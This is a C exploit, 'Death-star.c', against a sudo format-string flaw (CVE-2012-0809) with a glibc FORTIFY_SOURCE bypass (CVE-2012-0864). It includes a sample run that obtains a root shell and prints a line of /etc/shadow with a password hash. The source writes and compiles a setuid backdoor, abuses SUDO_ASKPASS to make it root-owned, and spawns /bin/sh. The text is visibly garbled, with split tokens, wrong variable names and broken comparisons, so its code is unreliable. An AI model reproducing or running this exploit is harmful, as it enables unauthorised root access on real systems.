/* Death-star.c sudo v1.8.0-1.8.3p1 (sudo_debug) format string root exploit + glibc FORTIFY_SOURCE bypass by aeon- http://infosecabsurdity.wordpress.com/ This PoC exploits: -CVE-2012-0864-FORTIFY_SOURCE format string protection bypass via "nargs" integer overflow-CVE-2012-0809-sudo v1.8.0-1.8.3p1 "sudo_debug" format string Test System-Fedora core 16 verne-glibc 2.14.90.14 release-sudo 1.8.1p2 notes: -This exploit actually turned out very reliable :-)-You can make a cleaner version of this exploit if you smash sudo_debug function pointer or a libc function pointer so you dont write to disk. I wont be releasing that version :-) References and thanks too :- http://seclists.org/fulldisclosure/2012/Jan/att-590/advisory_sudo.txt - http://www.vnsecurity.net/2012/02/exploiting-sudo-format-string-vunerability/ - http://www.alertlogic.com/modern-userland-linux-exploitation-courseware/ -"A Eulogy for Format Strings" http://www.phrack.org/issues.html?issue=67&id=9&mode=txt [Aeon @ localhost tmp] $ gcc death-star.c-o death-star [aeon @ localhost tmp] $. /death-star [+] Targeting release: 3.1.0-7. fc16.i686. PAE [+] Found vuln glibc version: 2.14.90 [+] Found a vuln sudo version: 1.8.1 [+] Writing backdoor: e. c [+] Compiling backdoor: e [+] Writing SUDO_ASKPASS file: e. sh [+] Press enter when ready... <-------------- REMOVED --------------> A. AF @ F @ 'from LD_PRELOAD cannot be Preloaded: ignored. % 1073825311% 21372736%: settings: = % 1073825311% 21372736%: settings: = % 1073825311% 21372736%: sudo_mode 1081383169 Sorry, try again. sorry, try again. sorry, try again. % 20 $ 08n % * 482 $ % * 2850 $ % 1073741824 $: 3 incorrect password attempts % 1073886251% 21372736%: policy plugin returns 1081402445 [+] Getting root ..! [+] Cleaning system. [+] Launching root shell! Sh-4.2 # id; uname-auid = 0 (root) gid = 1001 (aeon) groups = 0 (root), 1001 (aeon) context = unconfined_u: unconfined_r: unconfined_t: s0-s0: c0.c1023Linux localhost. localdomain 3.1.0-7. fc16.i686. PAE #1 SMP Tue Nov 1 20:53:45 UTC 2011 i686 i686 i386 GNU/Linuxsh-4.2 # head-n1/etc/shadowroot: $6 $ YxDB. SNvtnqhtt. T $ sliojsl7lz07ptdf23m1?evzh4mxvpo1vnebuuasm/je2sP6FXi2Y/QE1Ntg. 93jOtTQOfZ8k2e/HhT8XzXN/: 15818: 0: 99999: 7 ::: Sh-4.2 # */# include <sys/resource. h> # include <sys/utsname. h> # include <gnu/libc-version.h> # include <stdlib. h> # include <unistd. h> # include <stdio. h> # include <sys/time. h> # include <sys/stat. h> # include <string. h> # include <sys/wait. h> # define OFFSET 65000 # define NUM_THREADS 0/* files that we create on disk */# define BACKDOOR "e. c "# define BD_COMPILED" e "# define SUDO_ASKPASS" e. sh "extern char ** environ; st Ruct utsname ver; void * kill_sudo (); void * pop_shell (); void * set_env (); int is_glibc_vuln (); int is_sudo_vuln (); int write_backdoor (); /* hardcoded path to sudo */const char sudo [] = "/usr/bin/sudo \ 0"; char s_version [20]; /* vuln versions of sudo */char vuln_sudo_versions [4] [20] ={{ "1.8.0" },{ "1.8.1" },{ "1.8.2 "}, {"1.8.3" }};/* vuln versions of glibc */char vuln_glibc_versions [4] [20] ={{ "2.14.90 "}, }; Int main (int argc, char * argv []) {struct rlimit rara; int status; char ready; uname (& ver); printf ("[+] Targeting release: % s \ n ", ver. release); if (is_glibc_vuln () {if (is_sudo_vuln () {if (write_backdoor () {printf ("[+] Press enter when ready... "); scanf (" % c ", & ready) ;}else {exit (0) ;}} else {exit (0 );}} else {exit (0);} // ulimited stack rara. rlim_max = rara. rlim_cur =-1; setrlimit (RLIMIT_ST ACK, & rara); pid_t pid; if (pid = fork () <0) {printf ("[-] An error occurred while forking sudo \ n "); return-1;} else if (pid = 0) {set_env (); kill_sudo () ;}else {wait (& status); if (WIFEXITED (status )) {sleep (1); pop_shell () ;}} int is_glibc_vuln () {int I, returnval =-1; for (I = 0; I <4; I ++) {if (strcmp (gnu_get_libc_version (), vuln_glibc_versions [I]) = 0) {printf ("[+] Found vuln glibc ve Rsion: % s \ n ", gnu_get_libc_version (); returnval = 1 ;}} return returnval ;}; int is_sudo_vuln () {int I, returnval =-1 ;; FILE * fp; char path [20]; char sudo_ver_cmd [50]; snprintf (sudo_ver_cmd, sizeof (sudo) + 3, "% s-V", sudo ); fp = popen (sudo_ver_cmd, "r"); if (fp = NULL) {printf ("[-] Failed to get sudo's version \ n [-] Exiting .. "); exit (0);} fgets (path, 21, fp); memmove (s_version, path + 13, 5); (I = 0; I <4; I ++) {if (strcmp (s_version, vuln_sudo_versions [I]) = 0) {printf ("[+] Found a vuln sudo version: % s \ n", s_version); returnval = 1 ;}}return returnval ;}; int write_backdoor () {int returnval = 1; char askpass [100], compile_bd [100]; char bdcode [] = "# include <stdio. h> \ r \ n "" # include <stdlib. h> \ r \ n "" int main (int argc, char ** argv) {\ r \ n "" printf (\ "[+] Getting root ..! \ N \ "); \ r \ n" "setresuid (0, 0); \ r \ n" "printf (\" [+] Cleaning system. \ n \ "); \ r \ n" "remove (\" e \ "); remove (\" e. c \ "); remove (\" e. sh \ "); \ r \ n" "printf (\" [+] Launching root shell! \ N \ "); \ r \ n" "system (\"/bin/sh \ "); \ r \ n" "exit (0 ); \ r \ n ""} \ r \ n "; FILE * fp = fopen (BACKDOOR," wb "); if (fp = NULL) {printf ("[-] Failed to write backdoor on the target, check your permissions \ n"); returnval =-1;} else {printf ("[+] Writing backdoor: % s \ n ", BACKDOOR);} fwrite (bdcode, 1, sizeof (bdcode)-1, fp); fclose (fp); memset (compile_bd, 0x00, sizeof (compile_bd); snprintf (compile_bd, sizeof (BAC KDOOR) + sizeof (BD_COMPILED) + 17, "/usr/bin/gcc % s-o % s", BACKDOOR, BD_COMPILED); printf ("[+] Compiling backdoor: % s \ n ", BD_COMPILED); fp = popen (compile_bd," r "); if (fp = NULL) {printf (" [-] Failed to compile the backdoor, check the gcc path \ n "); returnval =-1;} fclose (fp); memset (askpass, 0x00, sizeof (askpass); snprintf (askpass, sizeof (BD_COMPILED) * 2 + 39 ,"#! /Bin/sh \ nchown root: root % s \ nchmod 4777% s \ n ", BD_COMPILED, BD_COMPILED); fp = fopen (SUDO_ASKPASS," w "); if (fp = NULL) {printf ("[-] Failed to write backdoor on the target, check your permissions \ n"); returnval =-1 ;} else {printf ("[+] Writing SUDO_ASKPASS file: % s \ n", SUDO_ASKPASS);} fwrite (askpass, 1, sizeof (askpass)-1, fp ); fclose (fp); chmod (SUDO_ASKPASS, 0755); return returnval;}; void * set_env () {int I = 0; char ld_preload_evar [OFFSET] = "LD_PRELOAD = "; char user_details [OFFSET] = {0x1f, 0x46, 0x01, 0x40}; char sudo_askpass_evar [40]; for (I = 0; I <(OFFSET/4); I ++) {memcpy (user_details + (I * 4), user_details, sizeof (int);} memmove (ld_preload_evar + 11, user_details, sizeof (user_details); memset (bytes, 0x00, sizeof (sudo_askpass_evar); snprintf (bytes, sizeof (SUDO_ASKPASS) + 13, "SUDO_ASKPASS = % s ", SUDO_ASKPASS); // set our environment putenv (ld_preload_evar); putenv (sudo_askpass_evar);}; void * kill_sudo () {char fmtstring [] = "% 20 $ 08n % * 482 $ % * 2850 $ % 1073741824 $"; char * args [] = {fmtstring, "-D9 ", "-A", "", NULL}; // trigger the vuln execve (sudo, args, environ) ;}; void * pop_shell () {// set our environment unsetenv ("LD_PRELOAD"); unsetenv ("SUDO_ASKPASS"); char * encoding [] = {BD_COMPILED, NULL}; execve (BD_COMPILED, exploit_args, environ );};